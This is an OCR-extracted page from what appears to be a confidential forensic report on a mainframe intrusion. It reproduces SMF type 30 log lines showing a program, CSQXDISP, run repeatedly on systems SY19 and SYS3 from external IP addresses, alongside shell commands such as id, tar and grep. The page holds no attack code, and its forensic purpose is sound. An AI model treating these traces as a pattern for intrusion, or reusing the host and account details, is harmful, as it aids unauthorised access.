UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  1 7 : 0 5 : 0 4 B S N 0 0 5 8  C S QXD I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  1 7 : 0 5 : 0 9 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  1 7 : 0 5 : 0 9 B S N 0 0 5 8  C S QXDI S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  1 7 : 0 5 : 3 9  B S N 0 0 5 8  C S QXD I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  1 7 : 0 5 : 3 9  B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Ma r 1 2  1 7 : 0 5 : 4 7 B S N 0 0 5 8  C S QXD I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Mar 1 2  1 7 : 0 5 : 4 8 B S N 0 0 5 8  C S QXD I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 7 : 0 6 : 3 7 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 S H  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Mar 1 2  1 7 : 0 6 : 3 7 B S N 0 0 5 8  C S QXD I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 
BPXWREXC 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  1 7 : 0 6 : 5 1 B S N 0 0 5 8  C S QXD I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 i d  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Mar 1 2  1 7 : 0 7 : 4 2 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Mar 1 2  1 7 : 0 7 : 4 2 B S N 0 0 5 8  C S QXD I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t s o  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Ma r 1 2  1 7 : 0 8 : 1 7 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t a r  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  1 7 : 2 0 : 1 0 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 grep 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Ma r 1 2  1 7 : 2 0 : 1 7 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 grep 
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UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  1 7 : 2 0 : 2 3 BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 grep 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Ma r 1 2  1 7 : 2 1 : 2 9  BSN0 0 5 8  C S QXD I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 grep 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 7 : 2 1 : 3 3 BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 grep 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . tx t : 5Mar 1 2  1 7 : 2 3 : 4 4 BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 grep 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . tx t : 5Mar 1 2  1 7 : 2 3 : 5 9  BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 grep 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 7 : 2 4 : 0 0 BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 grep 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 7 : 2 5 : 1 1 BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 grep 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Ma r 1 2  1 7 : 2 5 : 2 1 BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 grep 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . tx t : 5Mar 1 2  1 7 : 2 5 : 3 7 BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 grep 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  1 7 : 2 6 : 4 6  BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 grep 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Ma r 1 2  1 7 : 2 6 : 4 9 BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 grep 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Ma r 1 2  1 7 : 2 7 : 2 7  BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 d f 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  1 7 : 3 0 : 0 3 BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 t a r  

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Ma r 1 2  1 8 : 2 5 : 4 7 BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 who 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Ma r 1 2  1 8 : 4 2 : 1 7 BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 

C S QX D I S P  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Ma r 1 2  1 8 : 4 2 : 1 7 B S N 0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 S H  

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Ma r 1 2  1 8 : 4 2 : 1 7 BSN0 0 5 8  C S QX D I S P  1 7 8 . 1 8 . 2 4 3 . 2 7 S H  

Figure 4 7  S M F  type 3 0  log extract showing the execution o f  " CSQXDISP" on SY19 

The fo l l owi ng l og extract s im i l a rly  show the execution  of CSQXD ISP  on SYS3 by the users N U S  

a n d  

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  0 9 : 1 5 : 3 6 NU S T C P F T P 3  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . t xt : 2 0Mar 1 2  0 9 : 1 7 : 1 0 NUS T C P F T P 2  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  0 9 : 1 8 : 2 2  NU S T C P F T P 4  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  0 9 : 1 8 : 2 2 NU S T C P F T P 4  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S PA 

UNXCMD . S Y S 3 . FROM 0 3 1 4 . txt : 2 0Mar 1 2  0 9 : 2 0 : 3 7 NUS T C P F T P 5  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  0 9 : 2 1 : 0 1 NU S T C P F T P 6 9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S PA 

UNXCMD . S Y S 3 . FROM 0 3 1 4 . txt : 2 0Mar 1 2  0 9 : 2 1 : 0 1 NU S T C P F T P 7  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S PA 

Strict ly confident ia l l Bus i ness Secret l 
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UNXCMD . S Y S 3 . FROM 0 3 1 4 . t xt : 2 0Mar 1 2  0 9 : 2 1 : 0 8 NU S T C P F T P 5  9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QX D I S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  0 9 : 2 1 : 0 9 NUS TCPFT P 6  9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QXDI S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . t xt : 2 0Mar 1 2  0 9 : 2 3 : 5 5 NUS TCPFTP 8 9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QX D I S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  0 9 : 2 3 : 5 7 NU S T C P F T P 7  9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QXDI S PA 

UNXCMD . S Y S 3 . FROM 0 3 1 4 . txt : 2 0Mar 1 2  O 9 :  2 6 :  4 O NUS T C P F T P 9 9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QXDI S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  0 9 : 2 6 : 4 1 NU S T C PF T P 1  9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QXDI S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  O 9 :  2 9 : 2  6 NU S T C P F T P 2  9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QXD I S PA 

UNXCMD . S Y S 3 . FROM 0 3 1 4 . txt : 2 0Mar 1 2  0 9 : 2 9 : 2 7 NU S T C P F T P 3  9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QXDI S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . t xt : 2 0Mar 1 2  0 9 : 3 2 : 1 2 NU S T C P FT P 4  9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QX D I S PA 

UNXCMD . S Y S 3 . FROM 0 3 1 4 . txt : 2 0Mar 1 2  0 9 : 3 2 : 1 3 NU S T C P F T P 5  9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QXDI S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Ma r 1 2  0 9 : 3 4 : 5 8 NU S T C P F T P 6 9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QXDI S PA 

UNXCMD . S YS 3 . FROM 0 3 1 4 . txt : 2 0Mar 1 2  0 9 : 3 4 : 5 9  NU S T C P F T P 7  9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QXDI S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  0 9 : 3 7 : 4 3 NU S T C PF T P 8  9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QXDI S PA 

UNXCMD . S Y S 3 . FROM 0 3 1 4 . txt : 2 0Mar 1 2  0 9 : 3 7 : 4 5 NU S TCPFT P 9  9 3 . 1 8 6 . 1 7 0 . 5 4  
C S QXDI S PA 

UNXCMD . S Y S 3 . FROM 0 3 1 4 . txt : 2 0Mar 1 2  0 9 : 4 0 : 2 9  NU S T C P FT P 1  9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QX D I S PA 

UNXCMD . S Y S 3 . FROM 0 3 1 4 . t xt : 2 0Mar 1 2  0 9 : 4 0 : 3 1 NU S T C P F T P 2  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S PA 

UNXCMD . S Y S 3 . FROM 0 3 1 4 . txt : 2 0Mar 1 2  0 9 : 4 3 : 1 5 NU S T C P F T P 3 9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QXDI S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . t xt : 2 0Mar 1 2  0 9 : 4 3 : 1 7 NU S T C P FT P 4  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S PA 

UNXCMD . S Y S 3 . FROM 0 3 1 4 . txt : 2 0Mar 1 2  0 9 : 4 6 : 0 2 NU S T C P FT P 6  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QXDI S PA 

UNXCMD . S Y S 3 . FROM 0 3 1 4 . txt : 2 0Mar 1 2  0 9 : 4 6 : 0 3 NU S T C P FT P 6  9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QX D I S PA 

UNXCMD . S Y S 3 . FROM 0 3 1 4 . t xt : 2 0Mar 1 2  0 9 : 4 8 : 4 7 NU S T C P FT P 7  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S PA 

Str ict ly confi dent ia l l Bus i ness Secret l 
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UNXCMD . S Y S 3 . FROM 0 3 1 4 . t xt : 2 0Mar 1 2  0 9 : 4 8 : 5 0 NU S TCPFTP 8 9 3 . 1 8 6 . 1 7 0 . 5 4  
C S QXDI S PA 

UNXCMD . S Y S 3 . FROM 0 3 1 4 . t xt : 2 0Mar 1 2  0 9 : 5 1 : 3 4 NU S TCPFT P 9  9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QXDI S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  0 9 : 5 1 : 3 6 NU S TCPFT P 1  9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QXDI S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  0 9 : 5 4 : 2 2 NU S T C P F T P 3  9 3 . 1 8 6 . 1 7 0 . 5 4  
C S QXDI S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  0 9 : 5 4 : 2 3  NU S T C P F T P 2  9 3 . 1 8 6 . 1 7 0 . 5 4  
C S QXDI S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  0 9 : 5 5 : 5 0 NU S T C P F T P 5  9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QXDI S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  0 9 : 5 7 : 0 7 NU S T C P F T P 5  9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QXDI S PA 

UNXCMD . S Y S 3 . FROM 0 3 1 4 . txt : 2 0Mar 1 2  0 9 : 5 7 : 0 8 NUS T C P F T P 5  9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QXDI S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . t xt : 2 0Mar 1 2  0 9 : 5 8 : 2 4 NUS TCPFTP 6 9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QXDI S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  0 9 : 5 8 : 2 8  NUS T C P F T P 7  9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QXDI S PA 

UNXCMD . S Y S 3 . FROM 0 3 1 4 . txt : 2 0Mar 1 2  0 9 : 5 8 : 3 3 NU S T C P F T P 8  9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QXDI S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . t xt : 2 0Mar 1 2  0 9 : 5 9 : 5 1 NUS T C P FT P 6  9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QXDI S PA 

UNXCMD . S Y S 3 . FROM 0 3 1 4 . txt : 2 0Mar 1 2  0 9 : 5 9 : 5 4 NU S T C P F T P 7  9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QXDI S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  1 0 : 0 0 : 1 6 NUS TCPFT P 9  9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QXDI S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  1 0 : 0 0 : 2 9  NUS T C P F T P 1  9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QX D I S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  1 0 : 0 2 : 3 7 NUS T C P F T P 8  9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QXDI S PA 

UNXCMD . S Y S 3 . FROM 0 3 1 4 . txt : 2 0Mar 1 2  1 0 : 0 2 : 4 0 NU S TCPFTP 9 9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QXDI S PA 

UNXCMD . S YS 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  1 0 : 0 5 : 2 3 NU S TCPFTP 1 9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QXDI S PA 

UNXCMD . S Y S 3 . FROM 0 3 1 4 . txt : 2 0Mar 1 2  1 0 : 0 5 : 2 6  NUS T C P F T P 2  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QXDI S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  1 0 : 0 8 : 0 9 NU S T C P F T P 3  9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QXDI S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  1 0 : 0 8 : 1 2 NUS T C P F T P 4  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S PA 

Strict ly confidenti a l  l Bus i ness Secret l 
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UNXCMD . S Y S 3 . FROM 0 3 1 4 . txt : 2 0Ma r 1 2  1 0 : 1 0 : 5 5 NU S T C P F T P 5  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S PA 

UNXCMD . S Y S 3 . FROM 0 3 1 4 . t xt : 2 0Mar 1 2  1 0 : 1 0 : 5 8 NU S TCPFT P 6  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QXDI S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  1 0 : 1 2 : 4 3 NU S T C P F T P 3  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . t xt : 2 0Mar 1 2  1 0 : 1 3 : 4 2 NU S TCPF T P 8  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QXDI S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  1 0 : 1 3 : 4 4 NU S TCPFT P 8  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QXDI S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  1 0 : 1 6 : 2 8 NU S TCPFT P 9  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  1 0 : 1 6 : 3 1 NU S TCPFT P 1  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S PA 

UNXCMD . S Y S 3 . FROM 0 3 1 4 . t xt : 2 0Mar 1 2  1 0 : 1 6 : 4 1 NU S TCPFT P 1  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . t xt : 2 0Mar 1 2  1 0 : 2 5 : 0 8 NU S T C P F T P 2  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QXDI S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  1 0 : 2 5 : 1 6 NU S T C P F T P 3  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  1 0 : 2 5 : 5 7 NU S TCPFT P 4  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S PA 

UNXCMD . S Y S 3 . FROM 0 3 1 4 . txt : 2 0Mar 1 2  1 0 : 2 6 : 3 1 NU S T C P F TP 5  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . t xt : 2 0Ma r 1 2  1 0 : 2 6 : 3 1 NUS T C PF T P 6 9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  1 0 : 3 7 : 4 1 NU S T C P F T P 4  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S PA 

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  1 3 : 0 6 : 3 7 NU S TCPFT P 6  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S P F  

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  1 3 : 0 9 : 2 3 NU S T C P FT P 6  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S P F  

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  1 3 : 0 9 : 2 4 NU S T C P F T P 7  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S P F 

UNXCMD . S Y S 3 . FROM 0 3 1 4 . txt : 2 0Mar 1 2  1 3 : 1 2 : 0 9 NU S TCPFT P 8  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S P F  

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  1 3 : 1 2 : 1 0 NUS TCPFT P 9  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S P F  

UNXCMD . S Y S 3 . FROM 0 3 1 4 . txt : 2 0Mar 1 2  1 3 : 1 4 : 5 5 NU S TCPFT P 1  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S P F  

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  1 3 : 1 4 : 5 6  NU S T C P F T P 2  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S P F  

Strict ly confidenti a l  l Bus i ness Secret l 
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UNXCMD . S Y S 3 . FROM0 3 1 4 . t xt : 2 0Mar 1 2  1 3 : 1 7 : 4 2 NU S T C P F T P 4  9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QXDI S P F  

UNXCMD . S Y S 3 . FROM0 3 1 4 . t xt : 2 0Mar 1 2  1 3 : 2 0 : 2 8 NUS T C P FT P 6  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QXDI S P F  

UNXCMD . S Y S 3 . FROM0 3 1 4 . t xt : 2 0Mar 1 2  1 3 : 2 0 : 3 0  NU S T C P F T P 5  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QXDI S P F  

UNXCMD . S Y S 3 . FROM 0 3 1 4 . txt : 2 0Mar 1 2  1 3 : 2 3 : 1 2 NU S T C P F T P 7  9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QXDI S P F  

UNXCMD . S Y S 3 . FROM0 3 1 4 . t xt : 2 0Mar 1 2  1 3 : 2 3 : 1 4 NU S T C P F T P 8  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S P F  

UNXCMD . S Y S 3 . FROM0 3 1 4 . t xt : 2 0Mar 1 2  1 3 : 2 3 : 3 8 NU S T C P F T P 3  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S P F  

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  1 3 : 2 5 : 5 9 NU S T C P F T P 1  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QXDI S P F  

UNXCMD . S Y S 3 . FROM 0 3 1 4 . txt : 2 0Mar 1 2  1 3 : 2 6 : 0 0 NU S T C P F T P 1  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S P F  

UNXCMD . S Y S 3 . FROM 0 3 1 4 . txt : 2 0Mar 1 2  1 3 : 2 6 : 5 3 NU S T C P F T P 2  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QXDI S P F  

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  1 3 : 2 6 : 5 6 NU S T C P F T P 3  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S P F  

UNXCMD . S Y S 3 . FROM0 3 1 4 . t xt : 2 0Mar 1 2  1 3 : 2 8 : 4 4 NU S T C P F T P 2  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S P F  

UNXCMD . S Y S 3 . FROM 0 3 1 4 . txt : 2 0Mar 1 2  1 3 : 2 8 :  4 6 NU S T C P F T P 3  9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QX D I S P F  

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  1 3 : 3 1 : 3 0 NU S T C P F T P 4  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S P F  

UNXCMD . S Y S 3 . FROM 0 3 1 4 . txt : 2 0Mar 1 2  1 3 : 3 1 : 3 2 NU S T C P F T P 5  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S P F  

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  1 3 : 3 4 : 1 6 NU S T C P F T P 6 9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S P F  

UNXCMD . S Y S 3 . FROM0 3 1 4 . t xt : 2 0Mar 1 2  1 3 : 3 4 : 1 8  NU S T C P F T P 7  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S P F  

UNXCMD . S Y S 3 . FROM 0 3 1 4 . t xt : 2 0Mar 1 2  1 3 : 3 7 : 0 2 NU S T C P FT P 8  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S P F  

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  1 3 : 3 7 : 0 4 NU S T C P FT P 9  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S P F  

UNXCMD . S Y S 3 . FROM 0 3 1 4 . t xt : 2 0Mar 1 2  1 3 : 3 9 : 4 9 NU S T C P F T P 1  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QXD I S P F  

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  1 3 : 3 9 : 5 1 NU S T C P F T P 2  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S P F  

UNXCMD . S Y S 3 . FROM0 3 1 4 . t xt : 2 0Mar 1 2  1 3 : 4 2 : 3 5 NU S T C P F T P 3  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QXD I S P F  

Strictly conti dent ia  l l Bus i ness Secret l 



Sidan 1 25 av 574 

Report 

UNXCMD . S Y S 3 . FROM 0 3 1 4 . t xt : 2 0Mar 1 2  1 3 : 4 2 : 3 7 NUS T C P F T P 4  9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QXD I S P F  

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Ma r 1 2  1 3 : 4 5 : 2 1  NUS T C P F T P 5  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QXDI S P F  

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Ma r 1 2  1 3 : 4 5 : 2 6  NU S TCPFT P 6  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QXD I S P F 

UNXCMD . S Y S 3 . FROM0 3 1 4 . t xt : 2 0Ma r 1 2  1 3 : 4 8 : 0 7 NU S T C P F T P 7  9 3 . 1 8 6 . 1 7 0 . 5 4 
C S QXD I S P F  

UNXCMD . S Y S 3 . FROM 0 3 1 4 . txt : 2 0Ma r 1 2  1 3 : 4 8 : 0 9 NU S TCPFT P 8  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QXDI S P F  

UNXCMD . S Y S 3 . FROM 0 3 1 4 . txt : 2 0Mar 1 2  1 3 : 5 0 : 5 3 NU S TCPFTP 9 9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QXD I S P F  

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  1 3 : 5 0 : 5 5 NU S T C P F T P 1  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QX D I S P F  

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  1 3 : 5 3 : 4 0 NU S T C P F T P 3  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QXD I S P F 

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  1 3 : 5 3 : 4 2 NU S T C P F T P 2  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QXD I S P F 

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  1 3 : 5 6 : 2 5 NU S T C P F T P 4  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QXDI S P F  

UNXCMD . S Y S 3 . FROM0 3 1 4 . txt : 2 0Mar 1 2  1 3 : 5 6 : 2 6 NU S T C P F T P 5  9 3 . 1 8 6 . 1 7 0 . 5 4 

C S QXD I S P F  

UNXCMD . S Y S 3 . FROM 0 3 1 4 . txt : 2 0Mar 1 2  1 3 : 5 9 : 1 2 NU S T C P F T P 7  9 3 . 1 8 6 . 1 7 0 . 5 4 
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C S QX D I S P 4  

UNXCMD . S Y S 3 . FROM 0 3 1 4 . t xt : 2 3Mar 1 2  

